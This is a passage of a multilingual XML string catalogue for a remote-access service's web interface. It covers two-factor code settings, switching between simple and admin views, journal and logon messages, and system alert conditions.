<en-gb>You have requested that a one-time security code is required to be entered every time you log into %WEBSVC.SITE. If you have lost your printout of these codes, you can disable this security feature by clicking the button below.</en-gb>
<hu>Azt kérte, hogy egy egyszeri biztonsági kód megadására legyen szükség 
minden alkalommal, amikor bejelentkezik a %WEBSVC.SITE webhelyre. Ha elveszítette
a nyomtatott kódokat, akkor kikapcsolhatja ezt a biztonsági beállítást
az alábbi gombra kattintva.</hu>
<pt-br>Você solicitou que um código de segurança único seja obrigatoriamente 
digitado toda vez que você se conectar ao %WEBSVC.SITE. Caso tenha perdido
a cópia impressa desses códigos, poderá desabilitar este recurso de segurança
clicando no botão abaixo.</pt-br>
<nl>U hebt gevraagd dat een eenmalige beveiligingscode verplicht moet worden ingevoerd telkens wanneer u zich aanmeldt bij %WEBSVC.SITE. Als uw afdruk van deze beveiligingscodes bent verloren, kunt u deze beveiligingsfunctie uitschakelen door op de onderstaande knop te klikken.</nl>
</msg>
<msg name="DISABLE">
<en>Disable Printed Codes</en>
<de>Printed Codes deaktivieren</de>
<es>Deshabilitar códigos impresos</es>
<fr>Désactivation de la génération des codes d'accès</fr>
<it>Disattiva codici stampati</it>
<ru>Отключить напечатанные коды</ru>
<ja>印刷されたコードを無効にする</ja>
<zh>禁用打印的代码</zh>
<ko>인쇄된 코드 사용 안 함</ko>
<en-gb>Disable Printed Codes</en-gb>
<hu>Nyomtatott kódok kikapcsolása</hu>
<pt-br>Desabilitar códigos impressos</pt-br>
<nl>Afgedrukte beveiligingscodes uitschakelen</nl>
</msg>
</cat>
<cat name="SMS">
<msg name="TITLE">
<en>SMS Codes</en>
<de>SMS Codes</de>
<es>Códigos SMS</es>
<fr>Code SMS</fr>
<it>Codici SMS</it>
<ru>Коды по SMS</ru>
<ja>SMS コード</ja>
<zh>SMS 代码</zh>
<ko>SMS 코드</ko>
<en-gb>SMS Codes</en-gb>
<hu>SMS kódok</hu>
<pt-br>Códigos SMS</pt-br>
<nl>Beveiligingscodes via SMS</nl>
</msg>
<msg name="DESC">
<en>You have requested that a one-time security code be sent to your cell phone
every time you log into %WEBSVC.SITE. If you have lost your phone or
cannot receive these messages, you can disable this security
feature by clicking the button below.</en>
<de>Jedesmal, wenn sie sich bei %WEBSVC.SITE anmelden, müssen sie einen One-Time Sicherheitscode, den sie per SMS empfangen haben, eingeben. Wenn sie ihr Handy verlegt haben, oder die SMS nicht empfangen haben, können sie dieses Sicherheitsfeature unten abschalten.</de>
<es>Ha solicitado que se le envíe un código de seguridad único a su teléfono móvil
cada vez que inicie sesión en %WEBSVC.SITE. Si ha perdido el teléfono o
no puede recibir estos mensajes, puede deshabilitar esta función
de seguridad haciendo clic en el botón que aparece a continuación.</es>
<fr>Vous avez demandé que des codes d'accès uniques de sécurité vous soit envoyés sur votre téléphone celullaire
à chaque connexion sur %WEBSVC.SITE. Si vous avez perdu votre téléphone ou
ne pouvez pas recevoir ces messages, vous pouvez désactiver cette fonction de sécurité en
cliquant sur le bouton ci-dessous.</fr>
<it>È stato richiesto che venga inviato un codice di protezione valido una sola volta al cellulare ogni volta che si accede a %WEBSVC.SITE. Se il telefono è stato perso o non è possibile ricevere questi messaggi, è possibile disattivare questa funzione di protezione facendo clic sul pulsante di seguito.</it>
<ru>В соответствии с запросом при каждом входе в %WEBSVC.SITE на ваш сотовый телефон будет отравляться одноразовый защитный код. В случае утраты телефона или невозможности получения таких сообщений данную функцию безопасности можно отключить, щелкнув расположенную ниже кнопку.</ru>
<ja>%WEBSVC.SITE へのログイン時に常に ワンタイム セキュリティ コードを自分の携帯電話宛てに送信するように要求しました。電話が通じない場合やこれらのメッセージを受信できない場合は、以下のボタンをクリックして、このセキュリティ機能を無効にすることができます。</ja>
<zh>您已请求系统在您每次登录 %WEBSVC.SITE 时将一次性安全代码发送至您的手机。如果您丢失了电话或无法收到这些信息,您可以单击下面的按钮来禁用此安全功能。</zh>
<ko>%WEBSVC.SITE에 로그인할 때마다 휴대폰으로 1회 보안 코드를 보내도록 요청했습니다. 휴대폰을 분실했거나 이러한 메시지를 수신할 수 없는 경우 아래 버튼을 클릭하여 이 보안 기능을 사용하지 않도록 설정할 수 있습니다.</ko>
<en-gb>You have requested that a one-time security code be sent to your cell phone every time you log into %WEBSVC.SITE. If you have lost your phone or cannot receive these messages, you can disable this security feature by clicking the button below.</en-gb>
<hu>Azt kérte, hogy egy egyszeri biztonsági kódot kapjon mobiltelefonjára
minden alkalommal, amikor bejelentkezik a %WEBSVC.SITE webhelyre. Ha elveszítette telefonját, vagy
nem kapja meg ezeket az üzeneteket, akkor kikapcsolhatja ezt a biztonsági
funkciót, az alábbi gombra kattintva.</hu>
<pt-br>Você solicitou que um código de segurança único seja enviado para o seu telefone celular
toda vez que você se conectar ao %WEBSVC.SITE. Caso tenha perdido seu telefone ou
não possa receber essas mensagens, poderá desativar este recurso de
segurança, clicando no botão abaixo.</pt-br>
<nl>U hebt gevraagd dat een eenmalige beveiligingscode naar uw mobiele telefoon moet worden verzonden telkens wanneer u zich aanmeldt bij %WEBSVC.SITE. Als uw mobiele telefoon verloren is geraakt of u deze berichten niet kunt ontvangen, kunt u deze beveiligingsfunctie uitschakelen door op de onderstaande knop te klikken.</nl>
</msg>
<msg name="DISABLE">
<en>Disable SMS Codes</en>
<de>SMS Codes deaktivieren</de>
<es>Deshabilitar códigos SMS</es>
<fr>Désactivé les Codes SMS</fr>
<it>Disattiva codici SMS</it>
<ru>Отключить коды по SMS</ru>
<ja>SMS コードを無効にする</ja>
<zh>禁用 SMS 代码</zh>
<ko>SMS 코드 사용 안 함</ko>
<en-gb>Disable SMS Codes</en-gb>
<hu>SMS kódok kikapcsolása</hu>
<pt-br>Desabilitar códigos SMS</pt-br>
<nl>Beveiligingscodes via SMS uitschakelen</nl>
</msg>
</cat>
</cat>
<cat name="UI">
<msg name="TOBASIC">
<en>Switch To Simple View</en>
<de>Zur einfachen Anzeige wechseln</de>
<es>Cambiar a vista simple</es>
<fr>Changement vers la Vue Simple</fr>
<it>Passa alla visualizzazione semplice</it>
<ru>Переключиться к простому виду</ru>
<ja>単一ビューに切り替え</ja>
<zh>切换至简单视图</zh>
<ko>단순 보기로 전환</ko>
<en-gb>Switch To Simple View</en-gb>
<hu>Váltás egyszerű nézetre</hu>
<pt-br>Alternar para exibição simples</pt-br>
<nl>Overschakelen naar Eenvoudige weergave</nl>
</msg>
<msg brand="LMI" name="TOBASIC">
<en>Return to Main Menu</en>
<de>Zur einfachen Anzeige wechseln</de>
<es>Cambiar a vista simple</es>
<fr>Changement vers la Vue Simple</fr>
<it>Passa alla visualizzazione semplice</it>
<ru>Переключиться к простому виду</ru>
<ja>単一ビューに切り替え</ja>
<zh>切换至简单视图</zh>
<ko>단순 보기로 전환</ko>
<en-gb>Switch To Simple View</en-gb>
<hu>Váltás egyszerű nézetre</hu>
<pt-br>Alternar para exibição simples</pt-br>
<nl>Overschakelen naar Eenvoudige weergave</nl>
</msg>
<msg name="TOBASIC.DESC">
<en>Switching to the simple interface allows you quick access to Remote Control
and File Manager, but hides all the advanced administration features.</en>
<de>Die einfache Anzeige ermöglicht ihnen den schnellen Zugriff auf die Fernsteuerung und den Dateitransfer und versteckt alle erweiterten Administrationsfeatures.</de>
<es>Cambiando al interfaz simple puede acceder rápidamente al Control Remoto y
a Gestor de archivos, pero oculta todas las funciones de administración avanzadas.</es>
<fr>Le changement vers l'interface simple vous permet un accès rapide au Contrôle Distant
et au Transfert de Fichier, mais cache toutes les commandes avancées d'administration.</fr>
<it>Il passaggio all'interfaccia semplice consente di accedere rapidamente a Controllo remoto e Gestione file, ma nasconde tutte le funzioni avanzate di amministrazione.</it>
<ru>Переключение к простому интерфейсу позволяет получить быстрый доступ к консоли удаленного управления и диспетчеру файлов, но при этом скрываются все дополнительные функции администрирования.</ru>
<ja>単一インターフェイスに切り替えることにより、リモート制御およびファイル管理への高速アクセスが可能になります。ただしこれにより、管理機能の詳細の表示はすべて隠されます。</ja>
<zh>通过切换至简单界面,您可以快速访问“远程控制”功能和文件管理器,但将隐藏所有高级管理功能。</zh>
<ko>단순 인터페이스로 전환하면 원격 제어 및 파일 관리자에 빨리 액세스할 수 있지만, 모든 고급 관리 기능이 숨겨집니다.</ko>
<en-gb>Switching to the simple interface allows you quick access to Remote Control and File Manager, but hides all the advanced administration features.</en-gb>
<hu>Az egyszerű felületre váltás lehetővé teszi a Távvezérlés és a Fájlkezelő
gyors elérését, de elrejti az összes speciális kezelőfunkciót.</hu>
<pt-br>A alternância para a interface simples permite rápido acesso ao Controle remoto e ao
Gerenciador de arquivos, mas oculta todos os recursos de administração avançados.</pt-br>
<nl>Als u overschakelt naar de vereenvoudigde interface krijgt u snel toegang tot Besturing op afstand en Bestandsbeheer, maar worden alle geavanceerde functies voor het beheer verborgen.</nl>
</msg>
<msg name="TOADVANCED">
<en>Switch to Admin View</en>
<de>Zur erweiterten Anzeige wechseln</de>
<es>Cambiar a vista Admin</es>
<fr>Changement vers la Vue Admin</fr>
<it>Passare alla visualizzazione di amministrazione</it>
<ru>Переключиться к виду для администрирования</ru>
<ja>管理表示に切り替え</ja>
<zh>切换至管理视图</zh>
<ko>관리 보기로 전환</ko>
<en-gb>Switch to Admin View</en-gb>
<hu>Váltás rendszergazda nézetre</hu>
<pt-br>Alternar para a exibição do Admin</pt-br>
<nl>Overschakelen naar Geavanceerde weergave</nl>
</msg>
<msg brand="LMI" name="TOADVANCED">
<en>Display IT Reach Interface</en>
<es>Cambiar a vista Admin</es>
<fr>Changement vers la Vue Admin</fr>
<it>Passare alla visualizzazione di amministrazione</it>
<ru>Переключиться к виду для администрирования</ru>
<ja>管理表示に切り替え</ja>
<zh>切换至管理视图</zh>
<ko>관리 보기로 전환</ko>
<en-gb>Switch to Admin View</en-gb>
<hu>Váltás rendszergazda nézetre</hu>
<pt-br>Alternar para a exibição do Admin</pt-br>
<nl>Overschakelen naar Geavanceerde weergave</nl>
</msg>
<msg name="TOADVANCED.DESC">
<en>This advanced mode gives you access to all system administration
features in a more complex user interface.</en>
<de>Dieser erweitere Modus ermöglicht ihnen den Zugriff auf alle Funktionen zur Systemadministraion in einer komplexeren Benutzeroberfläche.</de>
<es>Este modo avanzado le permite acceder a todas las funciones de administración del sistema
en una interfaz de usuario más compleja.</es>
<fr>Ce mode avancé vous donne accès à toutes les commandes d'administration du système
au travers d'une interface utilisateur plus complexe.</fr>
<it>Questa interfaccia avanzata fornisce l'accesso a tutte le funzioni di amministrazione di sistema in un'interfaccia utente più complessa.</it>
<ru>Данный расширенный режим позволяет получить доступ ко всем функциям системного администрирования в рамках более сложного интерфейса пользователя.</ru>
<ja>この高度なモードを使うと、より複雑なユーザ インターフェイスですべてのシステム管理機能へアクセスすることができます。</ja>
<zh>此高级模式为您提供了在更加复杂的用户界面访问所有系统管理功能的权限。</zh>
<ko>이 고급 모드에서는 더 복잡한 사용자 인터페이스의 모든 시스템 관리 기능에 액세스할 수 있습니다.</ko>
<en-gb>This advanced mode gives you access to all system administration features in a more complex user interface.</en-gb>
<hu>Ez a speciális üzemmód minden rendszer-felügyeleti funkcióhoz
hozzáférést nyújt, egy összetettebb felhasználói felület keretei között.</hu>
<pt-br>Este modo avançado possibilita o acesso a todos os recursos de administração
do sistema em uma interface de usuário mais complexa.</pt-br>
<nl>In deze geavanceerde weergave krijgt u toegang tot alle functies voor het systeembeheer in een uitgebreide gebruikersinterface.</nl>
</msg>
<msg brand="LMI" name="TOADVANCED.DESC">
<en>Access system administration features using the IT Reach interface</en>
<es>Este modo avanzado le permite acceder a todas las funciones de administración del sistema
en una interfaz de usuario más compleja.</es>
<fr>Ce mode avancé vous donne accès à toutes les commandes d'administration du système
au travers d'une interface utilisateur plus complexe.</fr>
<it>Questa interfaccia avanzata fornisce l'accesso a tutte le funzioni di amministrazione di sistema in un'interfaccia utente più complessa.</it>
<ru>Данный расширенный режим позволяет получить доступ ко всем функциям системного администрирования в рамках более сложного интерфейса пользователя.</ru>
<ja>この高度なモードを使うと、より複雑なユーザ インターフェイスですべてのシステム管理機能へアクセスすることができます。</ja>
<zh>此高级模式为您提供了在更加复杂的用户界面访问所有系统管理功能的权限。</zh>
<ko>이 고급 모드에서는 더 복잡한 사용자 인터페이스의 모든 시스템 관리 기능에 액세스할 수 있습니다.</ko>
<en-gb>This advanced mode gives you access to all system administration features in a more complex user interface.</en-gb>
<hu>Ez a speciális üzemmód minden rendszer-felügyeleti funkcióhoz
hozzáférést nyújt, egy összetettebb felhasználói felület keretei között.</hu>
<pt-br>Este modo avançado possibilita o acesso a todos os recursos de administração
do sistema em uma interface de usuário mais complexa.</pt-br>
<nl>In deze geavanceerde weergave krijgt u toegang tot alle functies voor het systeembeheer in een uitgebreide gebruikersinterface.</nl>
</msg>
</cat>
</cat>
<cat name="JOURNAL">
<msg name="LIMITEXCEEDED">
<en>The maximum size for a journal entry is %MAXJOURNALSIZE characters. Your message has been truncated.</en>
<de>Die maximale Größe für einen Journaleintrag beträgt %MAXJOURNALSIZE Zeichen. Die Nachricht wurde gekürzt.</de>
<fr>La taille maximale pour une entrée de journal est de %MAXJOURNALSIZE caractères. Votre message a été tronqué.</fr>
<es>El tamaño máximo de una entrada de diario es de %MAXJOURNALSIZE caracteres. El mensaje se ha truncado.</es>
<it>La dimensione massima di una voce del diario è %MAXJOURNALSIZE caratteri. Il messaggio è stato troncato.</it>
<ru>Максимальный размер записи журнала - %MAXJOURNALSIZE. Сообщение было обрезано.</ru>
<ja>ジャーナル エントリの最大サイズは、%MAXJOURNALSIZE 文字です。入力したメッセージは切り捨てられました。</ja>
<zh>日记条目的最大大小为 %MAXJOURNALSIZE 个字符。已对您的信息进行了删减。</zh>
<ko>최대 저널 항목 크기는 %MAXJOURNALSIZE자입니다. 메시지가 잘렸습니다.</ko>
<en-gb>The maximum size for a journal entry is %MAXJOURNALSIZE characters. Your message has been truncated.</en-gb>
<hu>A naplóbejegyzés maximális mérete: %MAXJOURNALSIZE karakter. A program csonkolta az Ön üzenetét.</hu>
<pt-br>O tamanho máximo de uma entrada de diário é de %MAXJOURNALSIZE caracteres. Sua mensagem foi truncada.</pt-br>
<nl>De maximumgrootte voor een logboekitem is %MAXJOURNALSIZE tekens. Uw bericht is verkort.</nl>
</msg>
<msg name="USER.LOGGEDON">
<en>$1 has logged on.</en>
<de>$1 ist angemeldet.</de>
<fr>$1 est connecté.</fr>
<es>$1 ha iniciado sesión.</es>
<it>$1 ha effettuato l'accesso al sistema.</it>
<ru>В систему вошел пользователь $1.</ru>
<ja>$1 がログインしました。</ja>
<zh>$1 已登录。</zh>
<ko>$1이(가) 로그온했습니다.</ko>
<en-gb>$1 has logged on.</en-gb>
<hu>$1 kijelentkezett.</hu>
<pt-br>$1 se conectou.</pt-br>
<nl>$1 is aangemeld.</nl>
</msg>
<msg name="USER.LOGGEDOFF">
<en>$1 has logged off $2.</en>
<de>$1 wurde von $2 abgemeldet.</de>
<fr>$1 a déconnecté $2.</fr>
<es>$1 ha cerrado la sesión $2.</es>
<it>$1 si è disconnesso da $2.</it>
<ru>Из системы $2 вошел пользователь $1.</ru>
<ja>$1 が $2 にログオフしました。</ja>
<zh>$1 已注销 $2。</zh>
<ko>$1이(가) $2을(를) 로그오프했습니다.</ko>
<en-gb>$1 has logged off $2.</en-gb>
<hu>$1 kijelentkeztette $2-őt.</hu>
<pt-br>$1 desconectou-se de $2.</pt-br>
<nl>$1 is afgemeld $2.</nl>
</msg>
<msg name="USER.TIMEDOUT">
<en>$1 has been logged off by the idle timer $2.</en>
<de>$1 wurde vom Leerlaufzeitgeber von $2 abgemeldet.</de>
<fr>$1 a été déconnecté par le compteur de temps actif $2.</fr>
<es>El temporizador de tiempo en reposo $2 ha cerrado la sesión de $1.</es>
<it>$1 è stato disconnesso dal timer di inattività di $2.</it>
<ru>Пользователь $1 вышел из системы в результате срабатывания таймера простоя $2.</ru>
<ja>$1 は、アイドル タイム $2 にログオフされました</ja>
<zh>空闲计时器 $2 已注销 $1。</zh>
<ko>$1이(가) 유휴 타이머 $2에 의해 로그오프되었습니다.</ko>
<en-gb>$1 has been logged off by the idle timer $2.</en-gb>
<hu>$1-et a(z) $2 üresjárati időzítő kijelentkeztette.</hu>
<pt-br>$1 foi desconectado pelo temporizador de ociosidade $2.</pt-br>
<nl>$1 is afgemeld na een time-out voor niet actief $2.</nl>
</msg>
<msg name="USER.SHUTDOWN">
<en>$1 has been logged off $2 since $3 is shutting down.</en>
<de>$1 wurde von $2 abgemeldet, da $3 heruntergefahren wird.</de>
<fr>$1 a été déconnecté de $2 car $3 est en cours de fermeture.</fr>
<es>Se ha cerrado la sesión de $1 $2 porque $3 se está cerrando.</es>
<it>$1 è stato disconnesso da $2 in quanto è in corso la chiusura di $3.</it>
<ru>Пользователь $1 вышел из системы $1 из-за отключения $3.</ru>
<ja>$1 は、$3 がシャット ダウンしたため、$2 にログオフしました。</ja>
<zh>$1 已从 $2 注销,因为 $3 已关闭。</zh>
<ko>$3이(가) 종료 중이므로 $1은(는) $2에서 로그오프되었습니다.</ko>
<en-gb>$1 has been logged off $2 since $3 is shutting down.</en-gb>
<hu>$1-őt kijelentkeztették $2, mivel $3 kikapcsol.</hu>
<pt-br>$1 desconectou-se de $2, visto que $3 está sendo encerrado.</pt-br>
<nl>$1 is afgemeld $2 omdat $3 bezig is met afsluiten.</nl>
</msg>
<msg name="HIDE.SYSTEM">
<en>Hide system messages</en>
<de>Systemmeldungen ausblenden</de>
<es>Ocultar mensajes del sistema</es>
<fr>Cacher les messages systèmes</fr>
<it>Nascondi messaggi di sistema</it>
<ru>Скрывать системные сообщения</ru>
<ja>システム メッセージを隠す</ja>
<zh>隐藏系统信息</zh>
<ko>시스템 메시지 숨기기</ko>
<en-gb>Hide system messages</en-gb>
<hu>Rendszerüzenetek elrejtése</hu>
<pt-br>Ocultar mensagens do sistema</pt-br>
<nl>Systeemberichten verbergen</nl>
</msg>
<msg name="SHOW.SYSTEM">
<en>Show system messages</en>
<de>Systemmeldungen anzuzeigen</de>
<es>Mostrar mensajes del sistema</es>
<fr>Montrer les messages systèmes</fr>
<it>Mostra messaggi di sistema</it>
<ru>Показывать системные сообщения</ru>
<ja>システム メッセージを表示</ja>
<zh>显示系统信息</zh>
<ko>시스템 메시지 표시</ko>
<en-gb>Show system messages</en-gb>
<hu>Rendszerüzenetek megjelenítése</hu>
<pt-br>Mostrar mensagens do sistema</pt-br>
<nl>Systeemberichten weergeven</nl>
</msg>
</cat>
<cat name="WEBSVCALERT">
<msg name="TITLE">
<en>Pro Alerts</en>
<de>Pro Meldungen</de>
<es>Avisos de Pro</es>
<fr>Alertes de Pro</fr>
<it>Avvisi Pro</it>
<ru>Оповещения Pro</ru>
<ja>Pro アラート</ja>
<zh>Pro 警报</zh>
<ko>Pro 경고</ko>
<en-gb>Pro Alerts</en-gb>
<hu>Pro riasztások</hu>
<pt-br>Alertas do Pro</pt-br>
<nl>Pro-waarschuwingsmeldingen</nl>
</msg>
<msg name="CONDITION">
<en>Alert condition</en>
<de>Voraussetzung für Warnungsmeldungen</de>
<es>Condición de aviso</es>
<fr>Condition des alertes</fr>
<it>Condizione di avviso</it>
<ru>Условие оповещения</ru>
<ja>アラート条件</ja>
<zh>警报条件</zh>
<ko>경고 조건</ko>
<en-gb>Alert condition</en-gb>
<hu>Riasztási feltétel</hu>
<pt-br>Condição de alerta</pt-br>
<nl>Waarschuwingsvoorwaarde</nl>
</msg>
<msg name="NOALERTS">
<en>There are no alerts configured for this computer.</en>
<de>Für diesen Computer sind keine Warnungsmeldungen festgelegt.</de>
<es>No existen avisos configurados para este ordenador.</es>
<fr>Aucune alerte configurée pour cet ordinateur.</fr>
<it>Non esistono avvisi configurati per questo computer.</it>
<ru>На данном компьютере оповещения не настроены.</ru>
<ja>このコンピュータに設定されているアラートはありません。</ja>
<zh>没有为此计算机配置任何警报。</zh>
<ko>이 컴퓨터에 대한 경고가 구성되지 않았습니다.</ko>
<en-gb>There are no alerts configured for this computer.</en-gb>
<hu>Erre a számítógépre nincsenek beállított riasztások.</hu>
<pt-br>Não há alertas configurados para este computador.</pt-br>
<nl>Er zijn voor deze computer geen waarschuwingen geconfigureerd.</nl>
</msg>
<cat name="ALERT">
<msg name="CPU">
<en>If CPU usage is above $1% $2</en>
<de>Wenn die Verwendung der CPU über $1% $2 liegt </de>
<es>Si el uso de CPU supera $1% $2</es>
<fr>Si l'utilisation de l'unité centrale est supérieure à $1% $2</fr>
<it>Se l'utilizzo della CPU è superiore a $1% $2</it>
<ru>Если использование ЦП превышает $1% $2</ru>
<ja>CPU 使用率が $1% $2 を超えた場合</ja>
<zh>如果 CPU 使用率超出 $1% $2</zh>
<ko>CPU 사용량이 $1% $2 이상인 경우</ko>
<en-gb>If CPU usage is above $1% $2</en-gb>
<hu>Ha a processzor-használat meghaladja ezt: $1% $2</hu>
<pt-br>Se o uso da CPU estiver acima de $1% $2</pt-br>
<nl>Als het CPU-gebruik hoger is dan $1% $2</nl>
</msg>
<msg name="MEM">
<en>If memory usage is above $1% $2</en>
<de>Wenn die Belegung des Speichers über $1% $2 hinausgeht </de>
<es>Si el uso de memoria supera $1% $2</es>
<fr>Si l'utilisation de la mémoire est supérieure à $1% $2</fr>
<it>Se l'utilizzo della memoria è superiore a $1% $2</it>
<ru>Если использование памяти превышает $1% $2</ru>
<ja>メモリ 使用率が $1% $2 を超えた場合</ja>
<zh>如果内存使用率超出 $1% $2</zh>
<ko>메모리 사용량이 $1% $2 이상인 경우</ko>
<en-gb>If memory usage is above $1% $2</en-gb>
<hu>Ha a memória-használat meghaladja ezt: $1% $2</hu>
<pt-br>Se o uso da memória estiver acima de $1% $2</pt-br>
<nl>Als het geheugengebruik hoger is dan $1% $2</nl>
</msg>
<msg name="DISKSPACE">
<en>If free disk space on drive $1 is below $2</en>
<de>Wenn der verfügbare Speicher auf dem Laufwerk $1 unter $2 liegt</de>
<es>Si el espacio de disco libre en la unidad $1 es inferior a $2</es>
<fr>Si l'espace disque disponible sur le disque $1 est inférieur à $2</fr>
<it>Se lo spazio libero sull'unità $1 è inferiore a $2</it>
<ru>Если объем свободного пространства на диске $1 меньше $2</ru>
<ja>ドライブ $1 のディスク空き容量が $2 を下回った場合</ja>
<zh>如果驱动器 $1 上的空闲磁盘空间低于 $2</zh>
<ko>$1 드라이브의 사용 가능한 디스크 공간이 $2 미만인 경우</ko>
<en-gb>If free disk space on drive $1 is below $2</en-gb>
<hu>Ha a(z) $1 meghajtó szabad lemezterülete $2 alá esik</hu>
<pt-br>Se o espaço livre em disco na unidade $1 estiver abaixo de $2</pt-br>
<nl>Als de beschikbare schijfruimte op het station $1 lager is dan $2</nl>
</msg>
<msg name="FOLDERSIZE">
<en>If $1 size is above $2</en>
<de>Wenn $1-Größe über $2 liegt</de>
<es>Si el tamaño de $1 supera $2</es>
<fr>Si la taille $1 est supérieure à $2</fr>
<it>Se la dimensione di $1 è superiore a $2</it>
<ru>Если размер $1 больше $2</ru>
<ja>$1 のサイズが $2 を超えた場合</ja>
<zh>如果 $1 大小超过 $2</zh>
<ko>$1 크기가 $2 이상인 경우</ko>
<en-gb>If $1 size is above $2</en-gb>
<hu>Ha a(z) $1 mérete meghaladja ezt: $2</hu>
<pt-br>Se o tamanho de $1 estiver acima de $2</pt-br>
<nl>Als de grootte van $1 hoger is dan $2</nl>
</msg>
<msg name="FILESIZE">
<en>If $1 size is above $2</en>
<de>Wenn $1-Größe über $2 liegt</de>
<es>Si el tamaño de $1 supera $2</es>
<fr>Si la taille $1 est supérieure à $2</fr>
<it>Se la dimensione di $1 è superiore a $2</it>
<ru>Если размер $1 больше $2</ru>
<ja>$1 のサイズが $2 を超えた場合</ja>
<zh>如果 $1 大小超过 $2</zh>
<ko>$1 크기가 $2 이상인 경우</ko>
<en-gb>If $1 size is above $2</en-gb>
<hu>Ha a(z) $1 mérete meghaladja ezt: $2</hu>
<pt-br>Se o tamanho de $1 estiver acima de $2</pt-br>
<nl>Als de grootte van $1 hoger is dan $2</nl>
</msg>
<msg name="COMPUTER.ONLINE">
<en>If $1 comes online $2</en>
<de>Wenn $1 online geht $2</de>
<es>Si $1 se conecta $2</es>
<fr>Si $1 se connecte $2</fr>
<it>Se $1 si collega a $2</it>
<ru>Если $1 подключает $2</ru>
<ja>$1 が $2 に対してオンラインの場合</ja>
<zh>如果 $1 与 $2 联机</zh>
<ko>$1이(가) 온라인 $2(으)로 되는 경우</ko>
<en-gb>If $1 comes online $2</en-gb>
<hu>Ha $1 megjelenik online $2</hu>
<pt-br>Se $1 conectar-se a $2</pt-br>
<nl>Als $1 online gaat $2</nl>
</msg>
<msg name="COMPUTER.OFFLINE">
<en>If $1 goes offline $2</en>
<de>Wenn $1 offline geht $2</de>
<es>Si $1 se desconecta $2</es>
<fr>Si $1 se déconnecte $2</fr>
<it>Se $1 si disconnette da $2</it>
<ru>Если $1 отключает $2</ru>
<ja>$1 が $2 に対してオフラインの場合</ja>
<zh>如果 $1 与 $2 脱机</zh>
<ko>$1이(가) 오프라인 $2(으)로 되는 경우</ko>
<en-gb>If $1 goes offline $2</en-gb>
<hu>Ha $1 kapcsolaton kívülre kerül $2</hu>
<pt-br>Se $1 desconectar-se de $2</pt-br>
<nl>Als $1 offline gaat $2</nl>
</msg>
<msg name="APPLICATION.STOP">
<en>If $1 stops</en>
<de>Wenn $1 anhält</de>
<es>Si $1 se detiene</es>
<fr>Si $1 s'arrête</fr>
<it>Se $1 si interrompe</it>
<ru>При остановке $1</ru>
<ja>$1 が終了した場合</ja>
<zh>如果 $1 停止</zh>
<ko>$1이(가) 중지하는 경우</ko>
<en-gb>If $1 stops</en-gb>
<hu>Ha $1 leáll</hu>
<pt-br>Se $1 parar</pt-br>
<nl>Als $1 wordt gesloten</nl>
</msg>
<msg name="APPLICATION.START">
<en>If $1 starts</en>
<de>Wenn $1 startet</de>
<es>Si $1 se inicia</es>
<fr>Si $1 démarre</fr>
<it>Se $1 si avvia</it>
<ru>При запуске $1</ru>
<ja>$1 が開始した場合</ja>
<zh>如果 $1 启动</zh>
<ko>$1이(가) 시작하는 경우</ko>
<en-gb>If $1 starts</en-gb>
<hu>Ha $1 elindul</hu>
<pt-br>Se $1 for iniciado</pt-br>
<nl>Als $1 wordt gestart</nl>
</msg>
<msg name="SERVICE">
<en>If $1 $2</en>
<de>Wenn $1 $2</de>
<es>Si $1 $2</es>
<fr>Si $1 $2</fr>
<it>Se $1 $2</it>
<ru>Если $1 $2</ru>
<ja>$1 $2 の場合</ja>
<zh>如果 $1 $2</zh>
<ko>$1이(가) $2인 경우</ko>
<en-gb>If $1 $2</en-gb>
<hu>Ha $1 $2</hu>
<pt-br>Se $1 $2</pt-br>
<nl>Als $1 $2</nl>
</msg>
<msg name="EVENTLOG">
<en>Event log:</en>
<de>Ereignisprotokolls:</de>
<es>Registro de sucesos:</es>
<fr>Notification d'événement</fr>
<it>Registro eventi:</it>
<ru>Журнал событий:</ru>
<ja>イベント ログ :</ja>
<zh>事件日志:</zh>
<ko>이벤트 로그:</ko>
<en-gb>Event log:</en-gb>
<hu>Eseménynapló:</hu>
<pt-br>Log do evento:</pt-br>
<nl>Gebeurtenislogboek:</nl>
</msg>
<msg name="EVENTTYPE">
<en>Event type:</en>
<de>Ereignistyp:</de>
<es>Tipo de suceso:</es>
<fr>Type d'Evénement:</fr>
<it>Tipo di evento:</it>
<ru>Тип события:</ru>
<ja>イベントの種類 :</ja>
<zh>事件类型:</zh>
<ko>이벤트 유형:</ko>
<en-gb>Event type:</en-gb>
<hu>Esemény típusa:</hu>
<pt-br>Tipo de evento:</pt-br>
<nl>Gebeurtenistype:</nl>
</msg>
<msg name="EVENTCAT">
<en>Event category:</en>
<de>Ereigniskategorie:</de>
<es>Categoría del suceso:</es>
<fr>Catégorie d'Evénement:</fr>
<it>Categoria di evento:</it>
<ru>Категория события:</ru>
<ja>イベント カテゴリ :</ja>
<zh>事件类别:</zh>
<ko>이벤트 범주:</ko>
<en-gb>Event category:</en-gb>
<hu>Esemény kategóriája:</hu>
<pt-br>Categoria do evento:</pt-br>
<nl>Gebeurteniscategorie:</nl>
</msg>
<msg name="EVENTSOURCE">
<en>Event source:</en>
<de>Ereignisquelle:</de>
<es>Origen del suceso:</es>
<fr>Source d'Evénement:</fr>
<it>Origine dell'evento:</it>
<ru>Источник события:</ru>
<ja>イベント ソース :</ja>
<zh>事件源:</zh>
<ko>이벤트 원본:</ko>
<en-gb>Event source:</en-gb>
<hu>Eseményforrás:</hu>
<pt-br>Origem do evento:</pt-br>
<nl>Bron van gebeurtenis:</nl>
</msg>
<msg name="EVENTID">
<en>Event ID:</en>
<de>Ereignis ID:</de>
<es>ID de suceso:</es>
<fr>ID d'Evénement:</fr>
<it>ID evento:</it>
<ru>ИД события:</ru>
<ja>イベント ID :</ja>
<zh>事件 ID:</zh>
<ko>이벤트 ID:</ko>
<en-gb>Event ID:</en-gb>
<hu>Esemény azonosítója:</hu>
<pt-br>ID do evento:</pt-br>
<nl>Gebeurtenis-ID:</nl>
</msg>
</cat>
<cat name="ACTION">
<msg name="EMAIL">
<en>Email $1 and notify account holder</en>
<de>Schicken Sie eine E-Mail an $1 und benachrichtigen Sie den Kontoinhaber</de>
<es>Enviar correo electrónico a $1 y notificar al tenedor de la cuenta</es>
<fr>Envoyez un e-mail à $1 et avertissez le titulaire du compte</fr>
<it>Invia e-mail a $1 e comunicalo al titolare dell'account</it>
<ru>Отправить электронное сообщение $1 и уведомить владельца учетной записи</ru>
<ja>$1 に電子メールを送信し、アカウント ホルダに通知する</ja>
<zh>电子邮件 $1 和通知帐户持有者</zh>
<ko>$1에게 전자 메일을 보내고 계정 소유자에게 알림</ko>
